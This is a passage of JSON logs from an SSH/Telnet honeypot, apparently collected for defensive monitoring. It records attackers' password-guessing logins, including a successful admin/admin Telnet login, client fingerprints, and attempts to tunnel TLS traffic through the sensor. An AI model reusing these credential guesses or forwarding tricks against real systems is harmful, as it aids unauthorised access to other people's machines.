zW8ebKXNYo2HondGKk4RX5g5EoGVxtcEjL5WRtrqr%2FemfmdMdcV8OD7pTALKnuxWJPFd91sRgBtW9g%2BSI9sZkWwDuP7HrRpopuZEJtnFmuKgyHrtZFbgCwpuWrhBveRVpY9VA8WTFy3wwP8AsymNS5C9A5AJzkNg2VjGswAwipqWbDwkFUHzPj%2BhdyetOdjSJLCNW0m6v3xgM3sYY%2FyCqx%2FsDhrUJsgy1B6F8bi%2Fm%2BJtHtMPbDoHnC3PuaAMG1u1d6UB%2BWGL3%2BMif47w92qs8kBl4tEQ0JzpF7VQhfjGez28pvmDfUKw0WOFlwk3I%2BbatY2UXc3jdVTyTiHqc9HQItGqVHJntePD1Bo22sjUsm0QfLdhi22Z%2B2dHbh7Wbq0AiAJHbKAKPqtaSmuM%2FTxJf6ZrI5r6dr5N2fP%2Bd5%2FOt50J3kWqvcYqfFQMTS4MObXymRnDtNlcigM1ES56HbS2tjNoE5ODNE5N9gKpC8SQJPSnZCeU'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:59.965548Z","src_ip":"38.46.222.137","session":"ae521c0000ea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:59.989278Z","session":"ae521c0000ea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:00.087154Z","src_ip":"38.46.222.137","session":"ae521c0000ea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03H\\xce0R\\xdam\\xee+\\x9eX\\x95\\xb5M\\xe0\\x8f\\xe9V\\xd0\\xaa\\x1f\\x85_WR\\xec\\xde=w\\x8d|m/ \\x19\\x06\\xb8\\x98x\\\\\\xf8\\x15\\xb0\\xf9=\\xd1\\x1fPs\"\\xf1\\x13\\xbc\\xa0R\\xd0$\\x1e\"\\xf3\\xfbl\\x1d\\xae\\x9d\\xe4\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbdX_\\xbck\\xec\\x9e1\\xfd\\xe9\\x10\\x84\\xc8\\xe5f\\x039\\x8a\\xc4\\xc8\\x05&\\xc6G\\xbe\\x93,\\neH\\xc6q\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03H\\xce0R\\xdam\\xee+\\x9eX\\x95\\xb5M\\xe0\\x8f\\xe9V\\xd0\\xaa\\x1f\\x85_WR\\xec\\xde=w\\x8d|m/ \\x19\\x06\\xb8\\x98x\\\\\\xf8\\x15\\xb0\\xf9=\\xd1\\x1fPs\"\\xf1\\x13\\xbc\\xa0R\\xd0$\\x1e\"\\xf3\\xfbl\\x1d\\xae\\x9d\\xe4\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbdX_\\xbck\\xec\\x9e1\\xfd\\xe9\\x10\\x84\\xc8\\xe5f\\x039\\x8a\\xc4\\xc8\\x05&\\xc6G\\xbe\\x93,\\neH\\xc6q\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:00.092930Z","src_ip":"38.46.222.137","session":"ae521c0000ea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:00.165653Z","session":"ae521c0000ea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:00.223002Z","src_ip":"38.46.222.137","session":"ae521c0000ea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x94wi\\xe9\\x8c\\xd9\\xd2\\x834\\x90jt\\xba\\xa4F\\xfd\\xfe\\xd2\\xb0\\x8d-W\\xbf\\xffy\\xd6\\xcb,\\xec\\x94\\x93\\x02 \\xb1\\x14jx4HZ\\xa9\\x19\\x86D;\\xa3v\\xa8q.O\\x8a0\\x0f\\x85\\xb3\\xab\\x05\\x1f\\xf6\\xa0\\x9b\\xdd\\x01\\xa0\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 oI\\x0c\\x98\\xa9P\\x9b\\xa0\"\\xa2\\xbfzd\\x15\\x94sV\\x00fSk\\xaeQ\\x02h\\x13\\x94E\\xe8R\\xc9T\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x94wi\\xe9\\x8c\\xd9\\xd2\\x834\\x90jt\\xba\\xa4F\\xfd\\xfe\\xd2\\xb0\\x8d-W\\xbf\\xffy\\xd6\\xcb,\\xec\\x94\\x93\\x02 \\xb1\\x14jx4HZ\\xa9\\x19\\x86D;\\xa3v\\xa8q.O\\x8a0\\x0f\\x85\\xb3\\xab\\x05\\x1f\\xf6\\xa0\\x9b\\xdd\\x01\\xa0\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 oI\\x0c\\x98\\xa9P\\x9b\\xa0\"\\xa2\\xbfzd\\x15\\x94sV\\x00fSk\\xaeQ\\x02h\\x13\\x94E\\xe8R\\xc9T\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:00.226742Z","src_ip":"38.46.222.137","session":"ae521c0000ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:00.727341Z","src_ip":"38.46.222.137","session":"ae521c0000ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":44388,"dst_ip":"159.203.135.109","dst_port":22,"session":"65260d666db8","protocol":"ssh","message":"New connection: 103.27.238.116:44388 (159.203.135.109:22) [session: 65260d666db8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:04.320348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:04.325008Z","src_ip":"103.27.238.116","session":"65260d666db8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:04.617389Z","src_ip":"103.27.238.116","session":"65260d666db8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"grinder","message":"login attempt [root/grinder] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:05.463253Z","src_ip":"103.27.238.116","session":"65260d666db8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:06.745893Z","src_ip":"103.27.238.116","session":"65260d666db8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":41150,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac3b03f076e3","protocol":"ssh","message":"New connection: 182.93.50.90:41150 (159.203.135.109:22) [session: ac3b03f076e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:07.681619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:07.685644Z","src_ip":"182.93.50.90","session":"ac3b03f076e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:07.904832Z","src_ip":"182.93.50.90","session":"ac3b03f076e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"start123","message":"login attempt [root/start123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:08.811807Z","src_ip":"182.93.50.90","session":"ac3b03f076e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:10.032625Z","src_ip":"182.93.50.90","session":"ac3b03f076e3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:28.777878Z","src_ip":"163.7.1.156","session":"12b8f90f2e7c","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:28.923563Z","src_ip":"163.7.1.156","session":"12b8f90f2e7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39316,"dst_ip":"159.203.135.109","dst_port":23,"session":"83cf990fe6b4","protocol":"telnet","message":"New connection: 128.199.8.54:39316 (159.203.135.109:23) [session: 83cf990fe6b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:37.274746Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":60456,"dst_ip":"10.17.0.5","dst_port":22,"session":"1df6a7f1b8f0","protocol":"ssh","message":"New connection: 23.175.50.47:60456 (10.17.0.5:22) [session: 1df6a7f1b8f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:37.295020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:37.299303Z","src_ip":"23.175.50.47","session":"1df6a7f1b8f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:37.402882Z","src_ip":"23.175.50.47","session":"1df6a7f1b8f0","protocol":"ssh"}
